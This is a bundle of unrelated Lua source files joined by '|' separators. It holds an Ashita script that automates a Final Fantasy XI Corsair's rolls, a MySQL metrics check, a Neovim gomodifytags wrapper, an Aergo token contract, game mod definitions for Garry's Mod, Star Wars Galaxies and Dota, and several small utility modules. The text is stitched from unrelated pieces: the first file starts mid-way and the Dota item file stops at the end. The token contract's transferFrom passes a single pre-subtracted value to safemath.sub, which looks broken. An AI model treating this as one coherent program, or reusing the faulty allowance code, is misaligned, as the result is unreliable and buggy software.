-- ability_levels[abilities.CHORAL_ROLL] = 26;
-- ability_levels[abilities.MONKS_ROLL] = 31;
-- ability_levels[abilities.BEAST_ROLL] = 34;
-- ability_levels[abilities.SAMURAI_ROLL] = 37;
-- ability_levels[abilities.EVOKERS_ROLL] = 40;
-- ability_levels[abilities.ROGUES_ROLL] = 43;
-- ability_levels[abilities.WARLOCKS_ROLL] = 46;
-- ability_levels[abilities.FIGHTERS_ROLL] = 49;
-- ability_levels[abilities.PUPPET_ROLL] = 52;
-- ability_levels[abilities.GALLANTS_ROLL] = 55;
-- ability_levels[abilities.WIZARDS_ROLL] = 58;
-- ability_levels[abilities.DANCERS_ROLL] = 61;
-- ability_levels[abilities.SCHOLARS_ROLL] = 64;
local jcor = {
-- ability_levels = ability_levels
};
--TODO: Make Corsair distance aware
function jcor:tick()
if (actions.busy) then return end
if (not zones[AshitaCore:GetDataManager():GetParty():GetMemberZone(0)].hostile)then return end
local cnf = config:get();
local cor = cnf['corsair'];
if (not(cor['roll'])) then return end
local status = party:GetBuffs(0);
if (status[packets.status.EFFECT_INVISIBLE]) then return end
local cnf = config:get();
if (cnf.corsair.rollvar1 and not(status[stoe[cnf.corsair.rollvar1]])) then
if (buffs:IsAble(abilities[cnf.corsair.rollvar1]) and not buffs:AbilityOnCD('PHANTOM_ROLL')) then
actions.busy = true;
actions:queue(actions:new()
:next(partial(ability, cnf.corsair.roll1, '<me>'))
:next(partial(wait, 2))
:next(function(self) actions.busy = false; end));
return;
end
end
if (cnf.corsair.rollvar2 and not(status[stoe[cnf.corsair.rollvar2]] and not(status[packets.status.EFFECT_BUST]))) then
if (buffs:IsAble(abilities[cnf.corsair.rollvar2]) and not buffs:AbilityOnCD('PHANTOM_ROLL')) then
actions.busy = true;
actions:queue(actions:new()
:next(partial(ability, cnf.corsair.roll2 , '<me>'))
:next(partial(wait, 2))
:next(function(self) actions.busy = false; end));
return;
end
end
if (ATTACK_TID) then
actions.busy = true;
actions:queue(actions:new()
:next(partial(actions.pause, true))
:next(function(self) AshitaCore:GetChatManager():QueueCommand("/ra <t>", 1);end)
:next(partial(wait, 5))
:next(partial(actions.pause, false))
:next(function(self) actions.busy = false; end));
end
end
function jcor:attack(tid)
actions:queue(actions:new()
:next(function(self)
AshitaCore:GetChatManager():QueueCommand('/attack ' .. tid, 0);
end)
:next(function(self)
ATTACK_TID = tid;
AshitaCore:GetChatManager():QueueCommand('/follow ' .. tid, 0);
end)
);
end
function jcor:roller(name, number)
local key = string.upper(string.gsub(string.gsub(name,' ','_'), "'",""));
--Lucky roll, stop here
if(number==packets.luckyRolls[key])then print("Lucky Roll!"); return end
local status = party:GetBuffs(0);
--No more double up chance
if(not status[packets.status.EFFECT_DOUBLE_UP_CHANCE])then print("Double up over..."); return end
--Less than 6 or unlucky number, roll again
if(number<=6 or number==packets.unluckyRolls[key])then
print("Rerolling");
actions.busy = true;
actions:queue(actions:new()
:next(partial(wait, 2))
:next(partial(ability, 'Double-Up' , '<me>'))
:next(partial(wait, 1))
:next(function(self) actions.busy = false; end));
end
end
function jcor:corsair(corsair, command, roll)
local cnf = config:get();
local cor = cnf['corsair'];
local onoff = cor['roll'] and 'on' or 'off';
local roll1 = cor['roll1'] or 'none';
local roll2 = cor['roll2'] or 'none';
local rollvar;
if(roll ~= nil) then
rollvar = roll:upper():gsub("'", ""):gsub(" ", "_");
end
if (command ~= nil) then
if (command == 'on' or command == 'true') then
cor['roll'] = true;
onoff = 'on';
elseif (command == 'off' or command == 'false') then
cor['roll'] = false;
onoff = 'off';
elseif (command == '1' and roll and abilities[rollvar]) then
cor['roll1'] = roll;
cor['rollvar1'] = rollvar;
roll1 = roll;
elseif (command == '2' and roll and abilities[rollvar]) then
cor['roll2'] = roll;
cor['rollvar2'] = rollvar;
roll2 = roll;
elseif (command =='1' and roll == 'none') then
cor['roll1'] = nil;
cor['rollvar1'] = nil;
roll1 = 'none';
elseif (command =='2' and roll == 'none') then
cor['roll2'] = nil;
cor['rollvar2'] = nil;
roll2 = 'none';
end
config:save();
end
AshitaCore:GetChatManager():QueueCommand('/l2 I\'m a Corsair!\nrolling: ' .. onoff .. '\n1: ' .. roll1 .. '\n2: ' .. roll2, 1);
end
return jcor;
|
-- -- Copyright 2012 Rackspace
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
module(..., package.seeall);
local alien = require 'alien'
local util = require 'util'
local Check = util.Check
local log = util.log
local structs = require 'structs'
local os = require 'os'
local function get_mysql()
local mysql = alien.load("mysqlclient_r")
-- MYSQL *mysql_init(MYSQL *mysql)
mysql.mysql_init:types("pointer", "pointer")
-- MYSQL *mysql_real_connect(MYSQL *mysql, const char *host,
-- const char *user, const char *passwd, const char *db,
-- unsigned int port, const char *unix_socket,
-- unsigned long client_flag)
mysql.mysql_real_connect:types("pointer", "pointer", "string", "string",
"string", "string", "uint", "string",
"ulong")
-- const char* mysql_error(MYSQL *mysql)
mysql.mysql_error:types("string", "pointer")
-- int mysql_options(MYSQL *mysql, enum mysql_option option, const void *arg)
mysql.mysql_options:types("uint", "pointer", "uint", void)
-- int mysql_query(MYSQL *mysql, const char *stmt_str)
mysql.mysql_query:types("int", "pointer", "string")
-- MYSQL_RES *mysql_store_result(MYSQL *mysql)
mysql.mysql_store_result:types("pointer", "pointer")
-- MYSQL_RES *mysql_use_result(MYSQL *mysql)
mysql.mysql_use_result:types("pointer", "pointer")
-- unsigned int mysql_num_fields(MYSQL_RES *result)
mysql.mysql_num_fields:types("uint", "pointer")
-- MYSQL_ROW mysql_fetch_row(MYSQL_RES *result)
mysql.mysql_fetch_row:types("pointer", "pointer")
-- MYSQL_FIELD *mysql_fetch_field(MYSQL_RES *result)
mysql.mysql_fetch_field:types("pointer", "pointer")
-- void mysql_free_result(MYSQL_RES *result)
mysql.mysql_free_result:types(void, "pointer")
-- void mysql_close(MYSQL *mysql)
mysql.mysql_close:types(void, "pointer")
-- void mysql_server_end(void)
-- Note: Deprecated since 5.03
mysql.mysql_server_end:types(void)
-- void mysql_library_end(void)
-- Note: available in mysql > 5.0.3
-- mysql.mysql_library_end:types(void, void)
-- void mysql_thread_end(void)
mysql.mysql_thread_end:types(void)
return mysql
end
function run(rcheck, args)
if equus.p_is_windows() == 1 then
rcheck:set_error("mysql check is not supported on windows")
return rcheck
end
local mysql = get_mysql()
local conn, err
if args.host == nil then
args.host = '127.0.0.1'
else
args.host = args.host[1]
end
if args.port == nil then
if args.host == 'localhost' or args.host == '127.0.0.1' then
args.port = 0 -- use unix socket on unix, shared memory on windows
else
args.port = 3306
end
else
args.port = tonumber(args.port[1])
end
if args.user == nil then
args.user = 'root'
else
args.user = args.user[1]
end
if args.pw then
args.pw = args.pw[1]
end
-- http://dev.mysql.com/doc/refman/4.1/en/server-status-variables.html
if args.stats == nil then
args.stats = {"Aborted_clients",
"Connections",
"Innodb_buffer_pool_pages_dirty",
"Innodb_buffer_pool_pages_free",
"Innodb_buffer_pool_pages_flushed",
"Innodb_buffer_pool_pages_total",
"Innodb_row_lock_time",
"Innodb_row_lock_time_avg",
"Innodb_row_lock_time_max",
"Innodb_rows_deleted",
"Innodb_rows_inserted",
"Innodb_rows_read",
"Innodb_rows_updated",
"Queries",
"Threads_connected",
"Threads_created",
"Threads_running",
"Uptime",
"Qcache_free_blocks",
"Qcache_free_memory",
"Qcache_hits",
"Qcache_inserts",
"Qcache_lowmem_prunes",
"Qcache_not_cached",
"Qcache_queries_in_cache",
"Qcache_total_blocks"
}
end
local stat_types = {
Aborted_clients = Check.enum.uint64,
Connections = Check.enum.gauge,
Innodb_buffer_pool_pages_dirty = Check.enum.uint64,
Innodb_buffer_pool_pages_free = Check.enum.uint64,
Innodb_buffer_pool_pages_flushed = Check.enum.uint64,
Innodb_buffer_pool_pages_total = Check.enum.uint64,
Innodb_row_lock_time = Check.enum.uint64,
Innodb_row_lock_time_avg = Check.enum.uint64,
Innodb_row_lock_time_max = Check.enum.uint64,
Innodb_rows_deleted = Check.enum.gauge,
Innodb_rows_inserted = Check.enum.gauge,
Innodb_rows_read = Check.enum.gauge,
Innodb_rows_updated = Check.enum.gauge,
Queries = Check.enum.gauge,
Threads_connected = Check.enum.uint64,
Threads_created = Check.enum.uint64,
Threads_running = Check.enum.uint64,
Uptime = Check.enum.uint64,
Qcache_free_blocks = Check.enum.uint64,
Qcache_free_memory = Check.enum.uint64,
Qcache_hits = Check.enum.gauge,
Qcache_inserts = Check.enum.gauge,
Qcache_lowmem_prunes = Check.enum.gauge,
Qcache_not_cached = Check.enum.gauge,
Qcache_queries_in_cache = Check.enum.uint64,
Qcache_total_blocks = Check.enum.uint64
}
conn = mysql.mysql_init(conn)
-- We should probably lower the connection timeout
-- mysql.mysql_options()
local ret =
mysql.mysql_real_connect(conn, args.host, args.user, args.pw,
nil, args.port, nil, 0)
err = mysql.mysql_error(conn)
if ret == nil then
mysql.mysql_close(conn)
mysql.mysql_server_end()
mysql.mysql_thread_end()
rcheck:set_error("Could not connect: " .. err)
return rcheck
end
mysql.mysql_query(conn, "show status")
local result = mysql.mysql_use_result(conn)
local num_fields = mysql.mysql_num_fields(result)
if num_fields ~= 2 then
mysql.mysql_free_result(result)
mysql.mysql_close(conn)
mysql.mysql_server_end()
mysql.mysql_thread_end()
rcheck:set_error("Unexpected number of fields %i", num_fields)
return rcheck
end
-- Grab field names
-- Possibly useful later for other mysql plugins
-- local fields = {}
-- for i=0, (num_fields) do
-- f = mysql.mysql_fetch_field(result)
-- if f == nil then break end
-- field = alien.buffer(f)
-- col = field:get(structs.MYSQL_FIELD.name+1, "string")
-- fields[i] = col
-- end
while true do
r = mysql.mysql_fetch_row(result)
if r == nil then break end
row = alien.array("string", num_fields, alien.buffer(r))
if stat_types[row[1]] ~= nil then
rcheck:add_metric(row[1], row[2], stat_types[row[1]])
end
end
rcheck:set_status("metrics successfully retrieved")
mysql.mysql_free_result(result)
mysql.mysql_close(conn)
mysql.mysql_server_end()
--mysql.mysql_thread_end()
return rcheck
end
|
local oo = require("bp.common.lua_oo")
local bt_helper = require 'bp.src.bt_helper'
local mt = {}
local class_template = {type="all_true", __index=mt}
local all_true = oo.class(class_template)
function mt:start(graph)
self.graph = graph
end
-- function class_template:__call()
function mt:update()
for i,condition in ipairs(self) do
local isTrue = bt_helper.get_value_from_action(self, condition)
-- slog.cat('Cat:all_true.lua[19] isTrue, condition, self', isTrue, condition)
if not isTrue then
return false
end
end
return true
end
return all_true |
if ( SERVER ) then
AddCSLuaFile()
end
if ( CLIENT ) then
SWEP.PrintName = "Scout"
SWEP.Author = "Black Tea"
SWEP.Slot = 3
SWEP.SlotPos = 1
SWEP.BobScale = 0
SWEP.SwayScale = 0
end
SWEP.HoldType = "ar2"
SWEP.Base = "weapon_nutcs_base"
SWEP.Category = "NutScript 1.1 Weapons"
SWEP.Spawnable = true
SWEP.AdminSpawnable = true
SWEP.ViewModel = "models/weapons/cstrike/c_snip_scout.mdl"
SWEP.WorldModel = "models/weapons/w_snip_scout.mdl"
SWEP.Weight = 5
SWEP.AutoSwitchTo = false
SWEP.AutoSwitchFrom = false
SWEP.Primary.Sound = Sound( "Weapon_scout.Single" )
SWEP.Primary.Recoil = 1.1
SWEP.Primary.Damage = 50
SWEP.Primary.NumShots = 1
SWEP.Primary.Cone = 0.015
SWEP.Primary.ClipSize = 10
SWEP.Primary.Delay = 1.1
SWEP.Primary.DefaultClip = 0
SWEP.Primary.Automatic = false
SWEP.Primary.Ammo = "ar2"
SWEP.Secondary.ClipSize = -1
SWEP.Secondary.DefaultClip = -1
SWEP.Secondary.Automatic = false
SWEP.Secondary.Ammo = "none"
SWEP.ShellType = 1
SWEP.ShellAng = Angle(-15, -140, 0)
SWEP.WShellAng = Angle(0, 120, 0)
SWEP.muzAdjust = Angle(0, 0, 0)
SWEP.originMod = Vector(-2, -10, 1)
SWEP.WMuzSize = .38
SWEP.weaponLength = 12
SWEP.spreadData = {
rcvrRecoilRate = .15,
incrRecoilRate = 2,
maxRecoil = 7,
rcvrSpreadRate = .1,
incrSpreadRate = .9,
maxSpread = 5,
minSpread = .2,
} |
local utils = require "go.utils"
local fn = vim.fn
local o = vim.o
local gomodifytags = {}
local transform = _NVIM_GO_CFG_.goaddtags.transform
local skip_unexported = _NVIM_GO_CFG_.goaddtags.skip_unexported
local function write_out(out)
if #out == 0 or fn.type(out) ~= fn.type("") then
return
end
local result = fn.json_decode(out)
if fn.type(result) ~= 4 then -- Dictionary: 4 (v:t_dict)
utils.Error(string.format("malformed output from gomodifytags: %s", out))
return
end
local lines = result['lines']
local start_lines = result['start']
local end_lines = result['end']
local idx = 1
for line = start_lines, end_lines, 1 do
fn.setline(line, lines[idx])
idx = idx + 1
end
end
local function run(st, en, offset, mode, fname, args)
local bin_path = utils.CheckBinPath('gomodifytags')
if #bin_path < 1 then
utils.Error("nvim-go: could not find 'gomodifytags'. Run :GoInstallBinaries to fix it")
return
end
local cmd = { bin_path, "-format", "json", "-file", fname }
if transform then
table.insert(cmd, "-transform")
table.insert(cmd, transform)
end
if skip_unexported then
table.insert(cmd, "-skip-unexported")
end
if o.modified == true then
table.insert(cmd, "-modified")
end
if offset ~= 0 then
table.insert(cmd, "-offset")
table.insert(cmd, offset)
else
table.insert(cmd, "-line")
table.insert(cmd, st .. "," .. en)
end
if mode == "add" then
local tags = {}
local options = {}
if #args > 0 then
for _, arg in pairs(args) do
local splitted = utils.StringSplit(arg, ',')
if #splitted == 1 then
table.insert(tags, splitted[1])
end
if #splitted == 2 then
table.insert(tags, splitted[1])
table.insert(options, splitted[1].."="..splitted[2])
end
end
end
if #tags == 0 then
tags = {"json"}
end
table.insert(cmd, "-add-tags")
table.insert(cmd, fn.join(tags, ","))
if #options ~= 0 then
table.insert(cmd, "-add-options")
table.insert(cmd, fn.join(options, ","))
end
elseif mode == "remove" then
if #args == 0 then
table.insert(cmd, "-clear-tags")
else
local tags = {}
local options = {}
for _, arg in pairs(args) do
local splitted = utils.StringSplit(arg, ',')
if #splitted == 1 then
table.insert(tags, splitted[1])
end
if #splitted == 2 then
table.insert(tags, splitted[1])
table.insert(options, splitted[1].."="..splitted[2])
end
end
if #tags ~= 0 then
table.insert(cmd, "-remove-tags")
table.insert(cmd, fn.join(tags, ","))
end
if #options ~= 0 then
table.insert(cmd, "-remove-options")
table.insert(cmd, fn.join(options, ","))
end
end
else
utils.Error("nvim-go: unknown mode "..mode)
return
end
local out, err = utils.Exec(cmd)
if err ~= 0 then
utils.Error(out)
return
end
write_out(out)
end
function gomodifytags.add(st, en ,cnt, args)
local fname = fn.fnamemodify(fn.expand("%"), ':p:gs?\\?/?')
local offset = 0
if cnt == -1 then
offset = utils.OffsetCursor()
end
run(st, en, offset, "add", fname, args)
end
function gomodifytags.remove(st, en, cnt, args)
local fname = fn.fnamemodify(fn.expand("%"), ':p:gs?\\?/?')
local offset = 0
if cnt == -1 then
offset = utils.OffsetCursor()
end
run(st, en, offset, "remove", fname, args)
end
return gomodifytags
|
-- This is a part of uJIT's testing suite.
-- Copyright (C) 2020-2021 LuaVela Authors. See Copyright Notice in COPYRIGHT
-- Copyright (C) 2015-2020 IPONWEB Ltd. See Copyright Notice in COPYRIGHT
local a = 0
::lable1::
a = a + 1
if (a > 10) then
goto lable2
end
goto lable1
::lable2::
print(a)
|
import "aergo-contract-ex/safemath"
import "aergo-contract-ex/address"
------------------------------------------------------------------------------
-- FixedSupplyToken
-- @see https://theethereum.wiki/w/index.php/ERC20_Token_Standard
------------------------------------------------------------------------------
state.var {
Symbol = state.value(),
Name = state.value(),
TotalSupply = state.value(),
Book = state.map(),
ApproveBook = state.map()
}
function constructor()
Symbol:set("FIXED")
Name:set("Example Fixed Supply Token")
local total = bignum.number("5000000000000000000")
TotalSupply:set(total)
Book[system.getCreator()] = total
Book[address.nilAddress()] = bignum.number(0)
system.print("create fixed token successfully. owner: " .. system.getCreator())
end
---------------------------------------
-- Get a total token supply.
-- @type query
-- @param id Session identification.
-- @return total supply of this token
---------------------------------------
function totalSupply()
return safemath.sub(TotalSupply:get(), Book[address.nilAddress()])
end
---------------------------------------
-- Get a balance of an owner.
-- @type query
-- @param owner a target address
-- @return balance of owner
---------------------------------------
function balanceOf(owner)
assert(address.isValidAddress(owner), "[balanceOf] invalid address format: " .. owner)
return Book[owner] or bignum.number(0)
end
---------------------------------------
-- Transfer sender's token to target 'to'
-- @type call
-- @param to a target address
-- @param value an amount of token to send
---------------------------------------
function transfer(to, value)
local from = system.getSender()
local bvalue = bignum.number(value)
assert(bvalue > bignum.number(0), "[transfer] invalid value")
assert(address.isValidAddress(to), "[transfer] invalid address format: " .. to)
assert(to ~= from, "[transfer] same sender and receiver")
assert(Book[from] and bvalue <= Book[from], "[transfer] not enough balance")
Book[from] = safemath.sub(Book[from], bvalue)
Book[to] = safemath.add(Book[to], bvalue)
-- TODO event notification
system.print(string.format("transfer %s -> %s: %s", from, to, value))
end
local function approveKeyGen(requester, spender)
return requester .. "->" .. spender
end
---------------------------------------
-- Allow spender to use this amount of value of token
-- @type call
-- @param spender a spender's address
-- @param value an amount of token to approve
---------------------------------------
function approve(spender, value)
local bvalue = bignum.number(value)
assert(bvalue > bignum.number(0), "[approve] invalid value")
assert(address.isValidAddress(spender), "[approve] invalid address format: " .. spender)
local key = approveKeyGen(system.getSender(), spender)
ApproveBook[key] = bvalue
-- TODO event notification
system.print(string.format("approve %s: %s", key, bvalue))
end
---------------------------------------
-- Transfer 'from's token to target 'to'.
-- A this function sender have to be approved to spend the amount of value from 'from'
-- @type call
-- @param from a sender's address
-- @param to a receiver's address
-- @param value an amount of token to send
---------------------------------------
function transferFrom(from, to, value)
local bvalue = bignum.number(value)
assert(bvalue > bignum.number(0), "[transferFrom] invalid value")
assert(address.isValidAddress(from), "[transferFrom] invalid address format: " .. from)
assert(address.isValidAddress(to), "[transferFrom] invalid address format: " .. to)
assert(Book[from] and bvalue <= Book[from], "[transferFrom] not enough balance")
local allowedToken = allowance(from, system.getSender())
assert(bvalue <= allowedToken, "[transferFrom] not enough allowed balance")
Book[from] = safemath.sub(Book[from], bvalue)
Book[to] = safemath.add(Book[to], bvalue)
local key = approveKeyGen(from, system.getSender())
ApproveBook[key] = safemath.sub(allowedToken - bvalue)
end
---------------------------------------
-- Get an amount of allowance from owner to spender
-- @type query
-- @param owner owner address
-- @param spender allowed address
-- @return amount of approved balance between 2 addresses
---------------------------------------
function allowance(owner, spender)
assert(address.isValidAddress(owner), "[allowance] invalid address format: " .. owner)
assert(address.isValidAddress(spender), "[allowance] invalid address format: " .. spender)
local key = approveKeyGen(owner, spender)
return ApproveBook[key] or bignum.number(0)
end
---------------------------------------
-- Allow use of balance to another
-- @type call
-- @param spender a contract address to call internally and spend balance
-- @param value amount of balance to approve for the spender
-- @param ... parameters to pass the spender contract
---------------------------------------
function approveAndCall(spender, value, ...)
local bvalue = bignum.number(value)
local sender = system.getSender()
assert(address.isValidAddress(spender), "[approveAndCall] invalid address format: " .. spender)
local key = approveKeyGen(sender, spender)
ApproveBook[key] = bvalue
contract.call(spender, "receiveApproval", sender, bvalue, ...)
-- TODO event notification
system.print(string.format("approveAndCall, approve %s: %s, call: %s", key, bvalue, spender))
end
-- register functions to abi
abi.register(totalSupply, transfer, balanceOf, approve, allowance, transferFrom)
abi.payable(approveAndCall) |
local flagKillBox = {}
flagKillBox.name = "YetAnotherHelper/FlagKillBox"
flagKillBox.placements = {
name = "normal",
data = {
flag = "example_flag"
}
}
return flagKillBox
|
local iterator = require "ptable.iterator"
local ptable = {}
for key,value in pairs(iterator) do ptable[key] = value end
return ptable |
local indent = " "
local function prettyPrint(value, indentLevel)
indentLevel = indentLevel or 0
local output = {}
if typeof(value) == "table" then
table.insert(output, "{\n")
for key, value2 in pairs(value) do
table.insert(output, indent:rep(indentLevel + 1))
table.insert(output, tostring(key))
table.insert(output, " = ")
table.insert(output, prettyPrint(value2, indentLevel + 1))
table.insert(output, "\n")
end
table.insert(output, indent:rep(indentLevel))
table.insert(output, "}")
elseif typeof(value) == "string" then
table.insert(output, string.format("%q", value))
table.insert(output, " (string)")
else
table.insert(output, tostring(value))
table.insert(output, " (")
table.insert(output, typeof(value))
table.insert(output, ")")
end
return table.concat(output, "")
end
-- We want to be able to override outputFunction in tests, so the shape of this
-- module is kind of unconventional.
--
-- We fix it this weird shape in init.lua.
local loggerMiddleware = {
outputFunction = print,
}
function loggerMiddleware.middleware(nextDispatch, store)
return function(action)
local result = nextDispatch(action)
loggerMiddleware.outputFunction(("Action dispatched: %s\nState changed to: %s"):format(
prettyPrint(action),
prettyPrint(store:getState())
))
return result
end
end
return loggerMiddleware
|
------------
-- Uncomplicated Desktop for OpenComputers.
-- - [Homepage](https://github.com/quentinrossetti/undesk)
-- - [API documentation](https://quentinrossetti.github.io/undesk)
-- @module undesk
-- @license ICS
-- @copyright 2020 Quentin Rossetti <code@bleu.gdn>
return {
factory = { -- default style, color based on https://color.adobe.com/fr/Idea-Factory-3-color-theme-9028530
WORKSPACE_BG = 0xffb640,
WORKSPACE_FG = 0xffffff,
WORKSPACE_CHAR = " ",
WORKSPACE_MARGIN_TOP = 2,
WORKSPACE_MARGIN_BOTTOM = 1,
WORKSPACE_MARGIN_SIDE = 3,
WINDOW_BG = 0xc3c3c3, --silver,
WINDOW_BORDER = 0x000000,
WINDOW_BORDER_BOTTOM_CHAR = "▄",
WINDOW_BORDER_LEFT_CHAR = "█",
WINDOW_BORDER_RIGHT_CHAR = "█",
WINDOW_TITLEBAR_CHAR = " ",
WINDOW_TITLEBAR_BG = 0x000000,
WINDOW_TITLEBAR_FG = 0xffffff,
WINDOW_TITLE_ALIGN = "center", -- left, center, right
WINDOW_TITLE_UPPER = false,
WINDOW_TITLE_BG = 0x000000,
WINDOW_TITLE_FG = 0xffffff,
WINDOW_RESIZE_CHAR = "x"
}
}
-- 0x332400 brown |
som_lava_cannon_generic = {
minimumLevel = 0,
maximumLevel = -1,
customObjectName = "Generic lava cannon",
directObjectTemplate = "object/weapon/ranged/heavy/som_lava_cannon_generic.iff",
craftingValues = {
{"mindamage",240,476,0},
{"maxdamage",500,826,0},
{"attackspeed",7.2,4.9,1},
{"woundchance",8.0,16.0,0},
{"hitpoints",750,1500,0},
{"zerorangemod",10,20,0},
{"maxrangemod",-65,-35,0},
{"midrange",50,50,0},
{"midrangemod",10,20,0},
{"maxrange",64,64,0},
{"attackhealthcost",84,25,0},
{"attackactioncost",20,10,0},
{"attackmindcost",20,10,0},
},
customizationStringNames = {},
customizationValues = {},
-- randomDotChance: The chance of this weapon object dropping with a random dot on it. Higher number means less chance. Set to 0 to always have a random dot.
randomDotChance = 500,
junkDealerTypeNeeded = JUNKWEAPONS+JUNKJAWA,
junkMinValue = 25,
junkMaxValue = 45
}
addLootItemTemplate("som_lava_cannon_generic", som_lava_cannon_generic)
|
-- Copyright (C) 2018 The Dota IMBA Development Team
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- Editors:
--
-- Author: Firetoad
-- Date: 24.06.2015
-- Last Update: 23.03.2017
-- Definitions for the three swords and their combinations
-----------------------------------------------------------------------------------------------------------
-- Sange definition
-----------------------------------------------------------------------------------------------------------
local active_sword_sound = "DOTA_Item.IronTalon.Activate"
if item_imba_sange == nil then item_imba_sange = class({}) end
LinkLuaModifier( "modifier_item_imba_sange", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_sange_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Maim debuff
function item_imba_sange:GetIntrinsicModifierName()
return "modifier_item_imba_sange"
end
function item_imba_sange:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_sange_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound(active_sword_sound)
end
end
-----------------------------------------------------------------------------------------------------------
-- Sange passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_sange == nil then modifier_item_imba_sange = class({}) end
function modifier_item_imba_sange:IsHidden() return true end
function modifier_item_imba_sange:IsPurgable() return false end
function modifier_item_imba_sange:RemoveOnDeath() return false end
function modifier_item_imba_sange:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
-- Declare modifier events/properties
function modifier_item_imba_sange:DeclareFunctions()
return {
MODIFIER_PROPERTY_PREATTACK_BONUS_DAMAGE,
MODIFIER_PROPERTY_STATS_STRENGTH_BONUS,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
end
function modifier_item_imba_sange:GetModifierPreAttack_BonusDamage()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_damage")
end
function modifier_item_imba_sange:GetModifierBonusStats_Strength()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_strength")
end
function modifier_item_imba_sange:GetModifierStatusResistanceStacking()
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance")
end
-----------------------------------------------------------------------------------------------------------
-- Sange maim debuff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_sange_active == nil then modifier_item_imba_sange_active = class({}) end
function modifier_item_imba_sange_active:IsHidden() return false end
function modifier_item_imba_sange_active:IsDebuff() return false end
function modifier_item_imba_sange_active:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_sange_active:GetEffectName()
return "particles/items2_fx/sange_active.vpcf"
end
function modifier_item_imba_sange_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Declare modifier events/properties
function modifier_item_imba_sange_active:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
return funcs
end
function modifier_item_imba_sange_active:GetModifierStatusResistanceStacking()
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance_active")
end
-----------------------------------------------------------------------------------------------------------
-- Heaven's Halberd definition
-----------------------------------------------------------------------------------------------------------
if item_imba_heavens_halberd == nil then item_imba_heavens_halberd = class({}) end
LinkLuaModifier("modifier_item_imba_heavens_halberd", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE) -- Owner's bonus attributes, stackable
LinkLuaModifier("modifier_item_imba_heavens_halberd_ally_buff", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE) -- Passive disarm cooldown counter
LinkLuaModifier("modifier_item_imba_heavens_halberd_active_disarm", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE) -- Active disarm debuff
function item_imba_heavens_halberd:GetIntrinsicModifierName()
return "modifier_item_imba_heavens_halberd"
end
function item_imba_heavens_halberd:OnSpellStart(keys)
if IsServer() and not self:GetCursorTarget():TriggerSpellAbsorb(self) then
-- Parameters
local caster = self:GetCaster()
local target = self:GetCursorTarget()
-- Define disarm duration
local duration = self:GetSpecialValueFor("disarm_melee_duration")
if target:IsRangedAttacker() then
duration = self:GetSpecialValueFor("disarm_range_duration")
end
-- Disarm the target
if target:GetTeamNumber() == caster:GetTeamNumber() then
target:AddNewModifier(caster, self, "modifier_item_imba_heavens_halberd_ally_buff", {duration = self:GetSpecialValueFor("buff_duration")})
self:GetCaster():EmitSound(active_sword_sound)
else
target:AddNewModifier(caster, self, "modifier_item_imba_heavens_halberd_active_disarm", {duration = duration * (1 - target:GetStatusResistance())})
target:EmitSound("DOTA_Item.HeavensHalberd.Activate")
end
end
end
-----------------------------------------------------------------------------------------------------------
-- Heaven's Halberd passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_heavens_halberd == nil then modifier_item_imba_heavens_halberd = class({}) end
function modifier_item_imba_heavens_halberd:IsHidden() return true end
function modifier_item_imba_heavens_halberd:IsPurgable() return false end
function modifier_item_imba_heavens_halberd:RemoveOnDeath() return false end
function modifier_item_imba_heavens_halberd:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
-- Declare modifier events/properties
function modifier_item_imba_heavens_halberd:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_PREATTACK_BONUS_DAMAGE,
MODIFIER_PROPERTY_STATS_STRENGTH_BONUS,
MODIFIER_PROPERTY_EVASION_CONSTANT,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
return funcs
end
function modifier_item_imba_heavens_halberd:GetModifierPreAttack_BonusDamage()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_damage")
end
function modifier_item_imba_heavens_halberd:GetModifierBonusStats_Strength()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_strength")
end
function modifier_item_imba_heavens_halberd:GetModifierEvasion_Constant()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_evasion")
end
function modifier_item_imba_heavens_halberd:GetModifierStatusResistanceStacking()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance")
end
